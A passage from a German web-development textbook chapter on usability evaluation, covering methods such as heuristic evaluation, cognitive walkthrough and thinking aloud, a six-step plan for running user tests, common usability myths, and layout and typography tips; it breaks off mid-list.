                Alle unabhängig voneinander geführten Listen der einzelnen Bewerter werden danach zu einer Liste vereint. Diese Liste wird wiederum von jedem Bewerter – unsichtbar für die restlichen Bewerter – beurteilt, indem alle Listeneinträge nach der Schwere des Problems sortiert werden. Diese Schwere-Bewertungen werden nun gemittelt, was zur finalen Bewertung führt, indem die Liste absteigend nach der Schwere des Problems sortiert wird.

                Abschließend erfolgt noch ein Debriefing der Bewerter-Gruppe, und die Evaluierung ist abgeschlossen.

                
                    
                        
                            	
                                Vorteile

                            
                            	
                                Nachteile

                            
                        

                    
                    
                        
                            	
                                
                                    	billig


                                    	intuitiv


                                    	früh im Designprozess einsetzbar


                                    	Viele Probleme – schwere wie weniger schwere – werden gefunden.


                                

                            
                            	
                                
                                    	Umgebungsspezifische Probleme (Domain Specific Problems wie etwa Probleme, die in unterschiedlichen Browsern auftreten) werden nicht gefunden.


                                

                            
                        

                    
                

                Tabelle 10.1    
            Vor- und Nachteile einer heuristischen Evaluation

            
            
                Guideline Checking und Guideline Scoring

                In diesem Fall gleicht ein Bewerter ein gegebenes Interface mit einer Guideline ab und erzeugt eine Liste von Abweichungen. Eine solche Guideline umfasst spezifische Anweisungen Usability-technischer Natur, die das Interface erfüllen muss. Sie kann manchmal weniger (10 Punkte), manchmal mehr Punkte (1000 Punkte) umfassen. Ein Beispiel für Guidelines finden Sie etwa unter https://www.usability.gov/sites/default/files/documents/guidelines_book.pdf. Der Unterschied zwischen dem Guideline Checking und dem Guideline Scoring ist der, dass beim Checking lediglich überprüft wird, ob ein Kriterium eingehalten wird oder nicht, wohingegen beim Scoring angegeben wird, zu welchem Prozentsatz das Kriterium erfüllt ist.

                
                    
                        
                            	
                                Vorteile

                            
                            	
                                Nachteile

                            
                        

                    
                    
                        
                            	
                                
                                    	billig


                                    	intuitiv


                                    	früh im Entwicklungsprozess einsetzbar


                                

                            
                            	
                                
                                    	zeitaufwendig


                                    	oftmals einschüchternd aufgrund der Menge der zu prüfenden Punkte


                                

                            
                        

                    
                

                Tabelle 10.2    
            Vor- und Nachteile von Guideline Checking und Guideline Scoring

            
            
                Cognitive Walkthrough

                Der Cognitive Walkthrough ist ein aufgabenorientierter Versuch, die Gedankengänge und Entscheidungen eines System-Novizen nachzuvollziehen. Weil es sich um einen Novizentest handelt, zielt der Test auf die Erlernbarkeit des Systems ab. Als Basis derartiger Evaluierungen dient üblicherweise ein Mock-Up bis hin zu einem funktionsfähigen Prototyp.

                Die Idee hinter derartigen Tests ist das sogenannte explorative Lernen: Bevor User ein Manual lesen, versuchen sie sich am System per Trial and Error:

                
                    	
                        Gestartet wird mit einer groben Idee des Lösungsansatzes.

                    

                    	
                        Dann wird das Interface nach dem bestmöglichen Ansatz durchforstet.

                    

                

                Dies basiert auf drei Komponenten, die aus der Psychologie bekannt sind:

                
                    	
                        Ausführungskomponente: Im ersten Moment versucht der User, den ersten scheinbar richtigen Weg zu gehen, der zum Problem passt. Findet er keinen solchen Weg, geht er zur Problemlösungskomponente über.

                    

                    	
                        Problemlösungskomponente: Der User entscheidet auf Basis der Ähnlichkeit der erwarteten und der gebotenen Möglichkeiten. Danach wartet er auf einen Response des Systems. Sollte es den Anschein erwecken, er käme dem Ziel näher, wird fortgefahren, ansonsten rückgängig gemacht.

                    

                    	
                        Lernkomponente: Sollte einer der beiden oben dargestellten Wege zum Erfolg geführt haben, speichert der User den Lösungsweg im Langzeitgedächtnis.

                    

                

                Bei der Durchführung eines Cognitive Walkthrough müssen zunächst einmal Personas aus dem Kreis der Novizen identifiziert werden, in die sich die Bewerter hineinversetzen sollen. Dann überlegt man sich, welche repräsentativen Aufgaben es im System zu erledigen gilt. Außerdem wird den Bewertern natürlich das Interface beschrieben oder bereitgestellt, auch muss der korrekte Weg für jede Aufgabe beschrieben sein. Wenn es beispielsweise notwendig ist, zu evaluieren, auf welche Art und Weise sich ein User in einem System registrieren können soll, so muss auch bekannt sein, wie dieser Weg aktuell vom Entwicklerteam geplant ist.

                Die Bewerter versuchen nun, sich für jeden Schritt, den ein User tätigen muss, um ans Ziel zu gelangen, eine Erfolgs- oder Misserfolgsstory zu überlegen – frei nach dem Gedanken: »Warum oder warum nicht sollte ein User diesen Weg gehen?« Dabei stellen sich die Bewerter üblicherweise folgende Fragen:

                
                    	
                        »Versucht der User, den richtigen Weg zu gehen?«

                    

                    	
                        »Weiß der User, dass der richtige Weg verfügbar ist?«

                    

                    	
                        »Weiß der User, dass der richtige Weg den gewünschten Effekt erzielt?«

                    

                    	
                        »Falls der User den richtigen Weg geht, ist ihm das bewusst?«

                    

                

                
                    [»]  Der Cognitive Walkthrough ist ein Gedankenexperiment

                    Zunächst einmal ist der Cognitive Walkthrough lediglich ein Gedankenexperiment, da er zu einem Zeitpunkt erfolgt, an dem man noch nicht mit Sicherheit sagen kann, wie das System reagiert. Aus diesem Grund stellt man sich derartige Fragen überhaupt erst.

                

                Eine weitere Einschränkung, die den Cognitive Walkthrough betrifft, ist folgende: Die Bewerter gehen immer vom richtigen Weg aus. Sollten sie der Ansicht sein, ein User würde den falschen Weg einschlagen, so macht sich der Bewerter keine Gedanken darüber, was der User als Nächstes tun könnte. Eine jede Abweichung des Users vom korrekten Pfad ist für die Bewerter zwar essenziell, jedoch nicht das, was darauf folgt.

                Evaluierungen dieser Art können und werden auch gerne in Gruppen vorgenommen, wobei eine solche Gruppe aus Designern, Entwicklern und Usability-Spezialisten bestehen kann, die in einer Art Gesprächsrunde über das Vorgehen von Usern diskutieren. Der Vorteil dabei ist, dass unterschiedliche Anschauungen (von Experten, Entwicklern, Usability-Experten sowie allen möglichen weiteren Personen) auf den Tisch gebracht werden, wodurch sich oft ein viel klareres Bild einer Problemstellung abzeichnet. Sollte eine solche Gruppenrunde stattfinden, ist es wichtig, das Wissen der Beteiligten vor und nach dem Test festzuhalten. Auch ist es empfehlenswert, Video-Aufzeichnung der Diskussionen zu führen. Man darf nämlich nicht vergessen, dass solche Diskussionen mitunter mehrere Stunden andauern.

                Das Ziel der Evaluierung sind schlussendlich zuverlässige Erfolgs- und Misserfolgsstories; etwaige Änderungen im Design (grafisches, Ablauf- oder Interaktionsdesign) werden entsprechend notiert.

                
                    
                        
                            	
                                Vorteile

                            
                            	
                                Nachteile

                            
                        

                    
                    
                        
                            	
                                
                                    	Deckt aufgabenorientierte Probleme auf.


                                    	Hilft, Userziele und -annahmen zu definieren.


                                    	Ist früh im Designprozess einsetzbar.


                                

                            
                            	
                                
                                    	zeitaufwendig


                                    	Eventuell ist eine Einlernphase notwendig (Training).


                                    	Aufgabendefinitionen müssen erledigt werden.


                                    	nur auf Lernprobleme anwendbar


                                

                            
                        

                    
                

                Tabelle 10.3    
            Vor- und Nachteile des Cognitive Walkthrough

            
            
                Aktionsanalyse

                Im Rahmen einer Aktionsanalyse (Action Analysis) wird versucht, die benötigte Zeit zum Erfüllen von Aufgaben auf die kleinste Einheit herunterbrechen (Keystroke-Level-Analyse). Hierbei werden sehr detaillierte und relativ genaue Ergebnisse erreicht (etwa 20 % Abweichung), jedoch ist eine solche Evaluierung sehr ermüdend in der Durchführung. Üblicherweise wird sie auch nur zum Evaluieren hochperformanter Systeme eingesetzt.

                Die Idee ist, für jede noch so kleine Handlung des Users zu definieren, wie lange diese dauert. Hierzu greift man auf Erfahrungswerte zurück:

                
                    	
                        Zeit für Tastendruck: 0,28 Sekunden

                    

                    	
                        Bewegung mit der Maus: 1,5 Sekunden

                    

                    	
                        Hand zur Maus oder zur Funktionstaste bewegen: 0,3 Sekunden

                    

                    	
                        Reaktion auf ein kurzes Aufflackern: 0,1 Sekunden

                    

                    	
                        Erkennen eines Wortes mit sechs Buchstaben: 0,34 Sekunden

                    

                    	
                        auf eine andere Stelle auf dem Screen blicken: 0,23 Sekunden

                    

                    	
                        einen Eindruck aus dem Langzeitgedächtnis abrufen: 1,2 Sekunden

                    

                    	
                        einen Teil einer Aufgabe erlernen: 25 Sekunden

                    

                    	
                        eine mentale Aufgabe ausführen: 0,075 Sekunden

                    

                    	
                        zwischen verschiedenen Möglichkeiten wählen: 1,2 Sekunden

                    

                

                Die einfache Variante einer Action Analysis ist die Back-to-the-Envelope Analyse, die zwar nicht mehr als eine grobe Darstellung liefert (manche würden auch »Milchmädchenrechnung« dazu sagen), aber dennoch ist sie oftmals eine gute Abschätzung. Man geht dabei davon aus, dass (auf diesem Level der Analyse) eine beliebige Aktion zwischen 2 und 3 Sekunden dauert.

                
                    
                        
                            	
                                Vorteile

                            
                            	
                                Nachteile

                            
                        

                    
                    
                        
                            	
                                
                                    	sehr genaue und detaillierte Vorhersage für das Interface


                                

                            
                            	
                                
                                    	zeitraubend


                                    	gewisse Erfahrung notwendig


                                

                            
                        

                    
                

                Tabelle 10.4    
            Vor- und Nachteile der Action Analysis

                Das Ergebnis einer solchen Zeitabschätzung lässt oftmals Probleme in der Performance des Systems erkennen, denen man auf den Grund gehen muss.

                Kommen wir nun zu den Testmethoden, also zu empirischen Evaluationen mit realen Testkandidaten – repräsentativen Usern – in einem (halbwegs) realen Umfeld. Dafür werden Testkandidaten entweder in speziell ausgestattete Räume eingeladen, in denen sie ein System testen können, oder der Test geschieht vor Ort.

            
            
                Thinking Aloud

                Beim Thinking Aloud werden Testkandidaten aufgefordert, während des Tests zu erzählen, warum sie welche Handlung tätigen. Zum Beispiel, warum sie glauben, dass ein Klick auf dieses oder jene Symbol zum Erfolg führt.

                Ihre Kommentare werden dabei aufgezeichnet und danach ausgewertet. Es wird zumeist zwar auch mitprotokolliert, wie lange sie für die Erledigung jeder einzelnen Aufgabe benötigen, aber viel wesentlicher sind ihre Kommentare, da man auf diese Art und Weise neben den quatitativen Daten auch qualitative Daten sammeln kann.

            
            
                Co-Discovery

                Die Co-Discovery ähnelt dem Thinking Aloud, jedoch testen in diesem Fall zwei Testkandidaten gemeinsam ein Interface. Die Konversation zwischen den beiden wird wiederum aufgezeichnet und ausgewertet (mit all den Vorteilen, die sich daraus ergeben – siehe Thinking Aloud).

            
            
                A/B-Test

                A/B-Tests stellen ein kontrolliertes Testing quer über die Zielgruppe dar, wobei unterschiedliche Varianten des entwickelten Systems an die Testkandidaten ausgespielt und von diesen bewertet werden. Es folgt wiederum eine statistische Auswertung, insbesondere an welchen Stellen die unterschiedlichen Testgruppen die verschiedenen Varianten des Systems unterschiedlich bewerten.

            
            
                Fragebogentests

                Fragebogentests erfolgen in Form von Interviews oder Fragebögen, um neben einer quantitativen Untersuchung auch eine qualitative Aussage von den Usern zu erhalten. In vielen Fällen helfen diese, die Bedürfnisse der User besser zu verstehen.

            
            
                Statistische Studien

                Für eine statistische Studie (über die Verwendung und Nutzung des Systems) führt man eine Statistik über User, die in ihrem normalen Umfeld arbeiten. Das Ergebnis sind Langzeitstudien, die jedoch weniger von uns Entwicklern als vielmehr auf Basis von Logfiles oder Tracking-/Analysedaten durchgeführt werden.

            
            
                Augenkamera-Tests

                Dabei werden die Blickwege von Testkandidaten während der Nutzung eines Systems aufgezeichnet. Derartige Untersuchungen sind insbesondere dann sinnvoll, wenn Systeme (Websites) mit Informationen überladen oder bekanntermaßen unübersichtlich sind.

            
        
        
            10.1.2    Sind Tests überhaupt notwendig?

            Irgendwann kommen die meisten Entwickler*innen zu dem Punkt, an dem sie sich fragen, warum Usability-Tests überhaupt notwendig sind. In der Regel glauben Menschen (und da darf man die Spezies der Entwickler*innen sicherlich nicht ausnehmen), dass sie die Verhaltensweisen anderer kennen, weil sie von sich auf andere schließen. Natürlich ist uns allen bewusst, dass wir das nicht machen sollten – dennoch fühlt es sich oft natürlich (und richtig) an.

            Die einzige Möglichkeit, um diesem Glauben Einhalt zu gebieten, ist Vorhersage und Messung – ein Usability-Tests also. Wir wissen, dass jede Erfahrung des Einzelnen seine Vorstellung von der Welt verändert. Wir wissen jedoch auch, dass es beinahe unmöglich ist, bereits gewonnene Erfahrungen zu vergessen. Das ist insbesondere dann wahr, wenn es darum geht, sich als Entwickler*in in die Rolle des Novizen zurückzuversetzen: Es ist simpel und einfach nicht möglich.

            Ein anderer Aspekt ist, dass Entwickler*innen generell dazu tendieren, ihre eigenen Systeme normalerweise als easy to use zu beurteilen. Wie könnte es ja auch anders sein?

            Die einfache Frage, die Sie sich immer stellen sollten, lautet: »Würden Sie eine ungetestete Software verwenden?« Stellen Sie sich dazu auch folgende Fragen:

            
                	
                    Wie viele Anwendungen haben Sie geschrieben, die von anderen Menschen verwendet wurden?

                

                	
                    Wie oft haben Sie User dabei beobachtet, wie sie Ihre Anwendungen getestet haben?

                

                	
                    Wie oft haben Sie die eigene Anwendung (oder das eigene Interface) getestet, bevor es verwendet wurde?

                

            

        
        
            10.1.3    Einen Test planen und durchführen

            Schreiten wir zur Tat. Und eines vorweg: Usability-Tests können mit ein wenig Übung und in einem kleinen Rahmen selbst durchgeführt werden. Ein wenig Erfahrung schadet jedoch nie, ein wenig Vorbereitung ist ideal.

            Zunächst kümmern wir uns um die Vorbereitungen. Eine geeignete Testumgebung für einen Usability-Test ist ein leiser Raum, beschildert mit »Usability-Test – nicht stören« (oder ähnlich). Es sollten alle Telefone ausgeschaltet werden, man sorgt für ausreichende Beleuchtung sowie ausreichend (nicht alkoholische) Getränke. Als Test-Equipment dienen:

            
                	
                    eine Kamera inklusive Stativ (auch ein Smartphone auf einem Stativ ist ausreichend)

                

                	
                    ein gutes Mikrofon (kein Mikrofon für Musiker, da dies gerichtete Mikrofone sind, und diese müsste man direkt beim Testkandidaten vor dessen Mund montieren)

                

                	
                    ein Kopfhörer für den Soundcheck

                

                	
                    ein Spiegel, durch den es uns möglich wird, gleichzeitig den Monitor des Users und auch dessen Mimik aufzuzeichnen

                

            

            Optional nutzen wir auch:

            
                	
                    zusätzliche Beleuchtung

                

                	
                    einen zweiten Monitor (der den Monitor des Testkandidaten spiegelt)

                

                	
                    ein Speichermedium für die Aufzeichnung des Tests

                

            

            Während eines solchen Test gibt es ein paar Rollen, die während des Tests auch so eingehalten werden sollten. Die wichtigste Rolle (nach dem Testkandidaten natürlich) kommt dem Moderator zu, da er für den Testablauf und alle Interaktionen mit dem Testkandidaten verantwortlich ist. Wenn zusätzlich jemand für die Aufzeichnung, das Sichern der Daten und – gerne – für den technischen Support bereitsteht, freuen wir uns natürlich.

            So weit die Vorbereitungen. Nun geht’s an die Entwicklung des Tests, den wir auf Basis eines 6-Stufen-Plans angehen:

            
                	
                    Als Erstes werden wir den Test selbst entwickeln.

                

                	
                    Danach müssen wir die Testkandidat*innen auswählen und aquirieren.

                

                	
                    Nun gilt es, das Testmaterial für die Testkandidat*innen vorzubereiten.

                

                	
                    Wir dürfen nie vergessen, vor dem eigentlichen Test einen Test-Test zu absolvieren – er wird uns Erkenntnisse darüber liefern, ob wir mit unseren Annahmen richtig liegen.

                

                	
                    Der spannende Teil ist natürlich die Testdurchführung.

                

                	
                    Den Abschluss bilden die Auswertung und die entsprechende Analyse.

                

            

            
                Schritt 1: Den Test entwickeln

                Wenn wir den ersten Schritt gehen und den Test entwickeln, ist es wesentlich, dass wir uns folgende Hauptpunkte vor Augen führen: Wir müssen festhalten, was Ziel und Zweck des Tests ist, wie die Problembeschreibung lautet, auf welche User-Profile der Test zugeschnitten ist, wie die Testmethodik (das Test-Design) gewählt ist und welche Aufgaben vom Testkandidaten zu erledigen sind. In diesem Zusammenhang muss auch definiert werden, welches Test-Equipment benötigt wird, welche Daten es zu erfassen gilt und wie der Inhalt der Auswertung auszusehen hat. Stimmt, das sind viele Punkte, aber das schaffen wir.

                Wenn wir uns über die Aufgabenliste Gedanken machen, ist es wichtig, die Aufgaben nach Häufigkeit und Wichtigkeit des Vorkommens zu priorisieren. Es macht wenig Sinn, dem Testkandidaten Aufgaben zu stellen, die im täglichen Arbeiten mit dem System (der Website) nicht oder eventuell nur selten vorkommen. Wir wählen also die wichtigsten und am häufigsten vorkommenden Aufgaben aus. Dabei wird es nicht ausbleiben, dass wir uns selbst auch eine Art interne Aufgabenliste erstellen, damit die Testdurchführung reibungslos ablaufen wird.

                Für jede Aufgabe müssen wir die notwendigen Vorarbeiten definieren; wir müssen festlegen, wie die Definition von Erfolgreich absolviert lautet, außerdem legen wir eine maximale Zeitvorgabe pro Aufgabe fest, bis eine Hilfestellung unsererseits erfolgt. Natürlich ist es auch an uns, zu definieren, was einen Fehler in der Testdurchführung ausmacht. Was wir während eines Tests nicht machen werden, ist, den Testkandidaten aufzufordern, zum Startscreen zurückzukehren, um eine neue Aufgabe durchzuführen. (Wenn die Testkandidaten es selbst tun – fein!)

            
            
                Schritt 2: Die Testkandidaten auswählen

                Ganz grundsätzlich gilt: Wählen Sie repräsentative User aus, die die Anforderungen der gesamten Zielgruppe darstellen. Es bringt nämlich nichts, einen Test mit Testkandidaten durchzuführen, die gar nicht zur Zielgruppe gehören, frei nach dem Motto: »Testen wir mit Freunden und der Familie, denn auf die haben wir leicht Zugriff.« Wenn Sie zu den Testkandidaten selbst keine Idee haben, dann beauftragen Sie idealerweise eine Agentur mit der Suche nach Testkandidaten. Sollten Sie hingegen erfolgreich sein, so denken Sie daran, Ihre Testkandidaten in einer Datenbank für eventuelle weitere Tests zu speichern – auf keinen Fall jedoch für denselben Test!

                Je nach Anzahl der Testkandidaten unterteilt man diese in unterschiedliche Gruppen (basierend auf den Aufgaben), wobei jede Gruppe (mit mindestens fünf Testkandidaten pro Gruppe) einzeln getestet wird. Ein Tipp: Vergessen Sie nicht, das Userprofil mit den Anforderungen des Tests abzugleichen. Das schadet nie.

            
            
                Schritt 3: Das Testmaterial

                Das Testmaterial sollte es dem Moderator ermöglichen, schriftliche Aufzeichnungen über den Test zu führen. In diesen werden administrative Daten zum Test (Datum der Testdurchführung, Testnummerierung etc.), zum Testkandidaten (Alter, Geschlecht, Ausbildung etc.) sowie zu dessen Vorwissen in webspezifischen Fragen festgehalten. Sollten Beobachter beim Test dabei sein (was nicht selten vorkommt), dann sollten diese Informationen vor dem Test vervielfältigt und an die Beobachter des Tests ausgehändigt werden.

                In seltenen Fällen ist für einen Test eine Art Trainingsscript notwendig, in dem ein eventuell benötigtes Vorwissen für die Testkandidaten bereitgestellt wird. Das kann beispielsweise die Darstellung des GUI (Graphical User Interface) wie auch die Erklärung spezieller Interaktionsstile (Drag-and-drop etc.) enthalten. Häufig wird der Tests auch anhand eines Beispiels erklärt. Eine Erklärung, auf welcher Methode der Test basiert (z. B. Thinking Aloud) und was damit gemeint ist, ist in jedem Fall notwendig.

                In der Aufgabenstellung selbst befindet sich eine Beschreibung der zu erledigenden Aufgaben sowie eine einfache, einführende Aufgabe. Diese dient dazu, dem Testkandidaten die Nervosität zu nehmen; in die Auswertung wird diese erste Aufgabe jedoch nicht mit aufgenommen.

                Die Aufgaben des Tests sollten – sofern es sich um reale Szenarien handelt – in der typischen Reihenfolge ablaufen. Ist keine Reihenfolge vorgegeben, dann ist eine zufällige Abfolge der Aufgaben empfehlenswert.

            
            
                Schritt 4: Der Pilot (Test-Test)

                Der Pilot wird intern, also noch ohne Testkandidaten, vor der eigentlichen Testdurchführung absolviert. Er gibt Auskunft über doppeldeutige Instruktionen und Erfolgskriterien, unrealistische Zeitannahmen, irreführende Fragestellungen, aber auch über (fast) leere Akkus in den Aufnahmegeräten (Kamera, Smartphone etc.), beschriebene Speichermedien usw.

            
            
                Schritt 5: Die Testdurchführung – Hurra!

                Bevor wir loslegen, hier ein paar Dinge zur Erinnerung:

                
                    	
                        Der Moderator ist der Einzige, der mit dem Testkandidaten interagiert.

                    

                    	
                        Während des Tests sind keine verbalen oder nonverbalen Zeichen erlaubt. Jegliche Störung oder Ablenkung des Testkandidaten macht einen Test eventuell unbrauchbar.

                    

                    	
                        Leisten Sie nur dann Hilfestellung, wenn der Testkandidat schwere Probleme hat. Notieren Sie sich eine solche Hilfestellung unbedingt.

                    

                    	
                        Fertigen Sie so viele Screenshots wie möglich an. Es handelt sich um einen nicht reproduzierbaren Test, denn ein anderer Testkandidat absolviert den Test mit Sicherheit auf eine andere Art und Weise. Das sollten Sie nie vergessen.

                    

                

                Wir starten mit einer kleinen Einführung, in der zuerst der Moderator und alle weiteren Personen vorgestellt werden. Danach erfolgt eine Erklärung des Tests für die Testkandidaten, bei der darauf hingewiesen wird, dass die Testkandidaten dazu beitragen sollen, ein besseres Interface zu entwickeln. Eine Sache, die man Testkandidaten nie oft genug erklären kann, ist, dass das System und nicht der Testkandidat getestet wird. Machen Sie den Testkandidaten auch klar, dass die zu testende Website neu ist und deshalb noch Fehler enthalten kann. Erwähnen Sie auch nicht, dass Sie selbst an der Website gearbeitet haben – die Testkandidaten hätten sonst Probleme damit, frei von der Leber Kritik zu äußern. Erklären Sie den Sinn und Zweck eventueller Aufzeichnungen (Video etc.), und machen Sie klar, dass jeder Testkandidat den Test zu jeder Zeit abbrechen kann. Machen Sie auch klar, dass die Testkandidaten jederzeit Fragen stellen können, diese Fragen aber in der Regel unbeantwortet bleiben.

                Achten Sie darauf, jede Aufgabe auf einem eigenen Zettel zu kommentieren – das macht die spätere Auswertung einfacher. Denken Sie daran, während des Tests keine Hilfestellung zu leisten.

                In puncto Datenaufzeichnung sollten Sie sich Abkürzungen für zu erwartende Ereignisse einfallen lassen (z. B. »S« für »Start«, »E« für »Ende«, »G« für »positiver Eindruck« usw.). Markieren Sie wichtige Ereignisse für die spätere Auswertung.

                Und wenn dann alles erledigt ist, gönnen Sie dem Testkandidaten ein Debriefing und teilen Sie ihm mit, wie toll er sich geschlagen hat. Sicherlich hat er nach dem Test noch die eine oder andere Frage.

            
            
                Schritt 6: Auswertung und Analyse

                Eine Auswertung umfasst in der Regel die Zusammenfassung der Daten als Mittelwert inklusive berechneter Standardabweichungen, minimaler wie maximaler Werte. Außerdem ist immer interessant, wie hoch die Anzahl der erfolgreichen und nicht erfolgreichen Durchführungen war. Schlussendlich soll die Analyse die erfassten Fehler sowie alle aufgetretenen Probleme aufzeigen, eine entsprechende Fehlerdiagnose erlauben, um dann an den erkannten Problemen zu arbeiten und diese natürlich zu lösen.

                Und dann? Schreiben Sie einen Report und stellen – sofern ein Auftraggeber vorhanden ist – die Kosten und einen Zeitplan für das Beheben der Fehler auf.

                Machen Sie sich an dieser Stelle eines klar: Usability bedeutet Qualitätssicherung. Sie hilft uns zu klären, wie ein neuer User auf die ihm gebotenen Interaktionsmöglichkeiten reagiert. Für uns als Entwickler*innen ist ein Rückschritt vom Experten- zum Laienzustand nicht möglich. Und was wir auch wissen, ist, dass Usability-Tests in der Regel kostengünstig und effektiv sind.

            
        
        
            10.1.4    Den Unwahrheiten auf der Spur: Usability-Mythen

            Lassen Sie uns noch ein wenig mit kursierenden Usability-Mythen aufräumen. Das ist unser gutes Recht, nachdem wir uns so intensiv mit der Thematik auseinandergesetzt haben. Here we go:

            
                	
                    »Usability-Testing kann von jedermann gemacht werden«: Das ist zwar im Grunde korrekt, jedoch geht es um die Auswertung der Erkenntnisse, und diese erfordert Wissen und Erfahrung.

                

                	
                    »Bei Usability-Tests geht es nur um Usability«: Falsch. Nur bei den wenigsten Tests geht es um die reine Aufgabenerfüllung, um das Messen von Zeiten oder Ähnliches. Sehr oft geht es dabei auch um die User-Experience, die ein Testkandidat während des Tests erlebt.

                

                	
                    »Zahlen und Messdaten sind entscheidend«: Oft wird den Zahlen zu viel Bedeutung zugemessen. Zumeist gilt es eigentlich, die Frage zu beantworten, warum Dinge passieren.

                

                	
                    »Usability-Test sind künstlich«: Dass dem nicht so sein muss, haben wir spätestens dann gesehen, als es um die Testumgebung ging.

                

                	
                    »Man benötigt ein Usability-Lab«: In vielen Situationen ist die »Normalumgebung« des Testkandidaten von Vorteil, da er sich dort sicher und zu Hause fühlt.

                

                	
                    »Man benötigt einen High-End-Prototyp für das Testing«: Low-End ist besser – da kommen keine Diskussionen bezüglich der Gestaltung auf und man kann sich auf das Wesentliche konzentrieren.

                

                	
                    »Direkt vor dem Launch einer Website muss getestet werden«: Falsch – das wäre, wenn man diese Frage beantworten müsste: »Was tun, wenn’s brennt?« Die Zeit, um Probleme zu lösen, ist zu diesem Zeitpunkt bereits zu kurz.

                

                	
                    »Man benötigt x Testkandidaten«: Die Anzahl der benötigten Testkandidaten hängt vom Test ab – sie lässt sich nicht fix definieren.

                

                	
                    »Man sollte für aufeinanderfolgende Tests desselben Systems auch dieselben Testkandidaten nehmen«: Nein, denn auch ein Testkandidat kann nicht mehr in den »Novizen-Status« zurückgeführt werden, hat er einmal den Test eines Systems absolviert.

                

                	
                    »So viel wie nur möglich in ein Testszenario packen«: Weniger ist mehr. So kommt man auch nicht in einen zeitlichen Druck.

                

                	
                    »Viele verschiedene Designansätze testen«: In Wirklichkeit testet man einen Designansatz, von dem man (restlos) überzeugt ist. Sollte dieser Ansatz nicht zum erhofften Ziel führen, dann entwickelt man einen neuen Ansatz. Sehr oft scheitert man an der Entscheidung für einen speziellen Ansatz.

                

                	
                    »Wir müssen den Empfehlungen der Testkandidaten Folge leisten«: Das Team entscheidet, nicht der Testkandidat. Die Experten sind nach wie vor wir.

                

                	
                    »Ein Test ist ausreichend«: Nein. Iteratives Testen ist entscheidend.

                

                	
                    »Ein Re-Design muss nicht getestet werden«: ☺

                

                	
                    »Usability-Tests sind ausreichend«: In Wahrheit … nein. Es existieren zahllose Untersuchungsmethoden. Usability-Tests geben beispielsweise keine Auskunft über den User selbst.

                

            

        
        
            10.1.5    Usability-Tipps für gute Usability

            Tipps sind gut, das Beherzigen dieser Tipps ist noch viel besser. Im Folgenden finden Sie einige zeitlosen Studien, die es wert sind, gelesen zu werden:

            
                Tipp 1: Glaubhaftigkeit hängt vom Design ab

                Viele Studien haben gezeigt, dass eine gute Design-Qualität ein Indikator für die Glaubhaftigkeit einer Site ist:

                
                    	
                        Stanford-Makovsy Web Credibility Study 2002: Investigating What Makes Web Sites Credible Today

                    

                    	
                        What Makes A Web Site Credible? A Report on a Large Quantitative Study

                    

                    	
                        The Elements of Computer Credibility

                    

                

                Resumee: »Users judge a book by its cover«

            
            
                Tipp 2: Scrolling

                Viele ältere Studien behaupten, dass User nicht gerne scrollen (u. a. Jakob Nielsen »Prioritizing Web Usability«). Neuere Studien zeigen, dass der User lieber scrollt als klickt (z. B. »Unfolding the fold«):

                
                    	
                        91 % der betrachteten Sites hatten einen Scrollbar.

                    

                    	
                        Bei 76 % dieser Sites wurde bis zu einem gewissen Punkt gescrollt.

                    

                    	
                        Bei 22 % dieser Sites wurde bis zum Ende gescrollt.

                    

                

                Nun stellt sich eine weitere Frage: »Sind lange Seiten schlecht?« Nein, denn unabhängig von der Länge der Seite scrollt die gleiche Anzahl an Usern bis zum Ende (22 %) wie bei kurzen Seiten. Die User scannen die Site, und zwar unabhängig von deren Länge. Was die nächste Frage aufwirft: »Muss der wichtigste Content oberhalb der Seitenkante platziert werden?« Ja! Fraglich ist nur, wo die Seitenkante ist, denn diese hängt ja von der Größe ab, die der Browser zur Verfügung hat.

                Also: Versuchen Sie nicht, Ihre Website zusammenzuquetschen und sie so kompakter zu machen, denn die User scrollen sowieso bis zum Ende der Seite. Unterteilen Sie die Seite in mehrere Abschnitte, um sie scanbarer zu machen. Minimieren Sie den geschriebenen Text, und maximieren Sie den Einsatz von aussagekräftigen Bildern – User scannen und lesen nicht. Erzeugen Sie bewusst ein abgeschnittenes Layout, damit die User noch mehr zum Scrollen angeregt werden.

                
                    [Info]  Seitenkante bzw. Fold

                    Unter der Seitenkante (engl. Fold) versteht man den Bereich der Website, der für User sichtbar ist, ohne scrollen zu müssen.

                

            
            
                Tipp 3: Leerräume (Whitespaces) einfügen

                Geben Sie Elementen Raum zum Atmen. Eine Studie von Lin aus dem Jahre 2004 besagt: Guter Einsatz von Leerräumen zwischen Absätzen sowie im linken und rechten Abstand erhöht die Erkennbarkeit um fast 20 %.

            
            
                Tipp 4: User-Testing

                User-Testing muss nicht Hunderte von Testkandidaten beinhalten: Jacob Nielsen fand heraus, dass ein Test mit fünf Testkandidaten etwa 85 % aller Probleme einer Site findet (15 User finden fast alle Probleme). Eines stimmt jedoch auch: Null Testkandidaten bringen null Erkenntnisse, und ein Testkandidat entdeckt bereits etwa ein Drittel aller Probleme. Mit anderen Worten: Wenn zumindest eine Person mit Erfahrung über die Site schaut, wird bereits ein Drittel aller Probleme erkannt. Noch besser wäre: Machen Sie drei Testreihen á fünf Testkandidaten und Sie werden glücklich sein!

                Quelle: Nielsen, Jakob, and Landauer, Thomas K.: »A mathematical model of the finding of usability problems«, Proceedings of ACM INTERCHI'93 Conference (Amsterdam, The Netherlands, 24-29 April 1993), pp. 206–213.

            
            
                Tipp 5: Allgemeines

                Zahlreiche Typografie-Studien liefern folgende Erkenntnisse:

                
                    	
                        Zeilenhöhe (in Pixel) ÷ Schriftgröße (Body) (in Pixel) = 1,48 → Ideal ist also ein 1,5‐facher Zeilenabstand. Die klassische Empfehlung aus Typografiebüchern liegt bei 1,5.

                    

                    	
                        Absatzbreite (Zeilenlänge) (Pixel) ÷ Zeilenhöhe (Pixel) = 27,8. Hieraus berechnet sich die optimale Absatzbreite zu 27,8 × 16 Px × 1,5 = 670 Px.

                    

                    	
                        Abstand zwischen Absätzen (Pixel) ÷ Zeilenhöhe (Pixel) = 0,754. Üblich ist ein Unten-Abstand eines Absatzes von 0,75 bis 0,8 em.

                    

                    	
                        ideale Anzahl von Zeichen pro Zeile: 55 bis 75

                    

                    	
                        Anzahl der Zeilen pro Absatz: 5 bis 7

                    

                

                Achten Sie außerdem auf folgende Punkte:

                
                    	
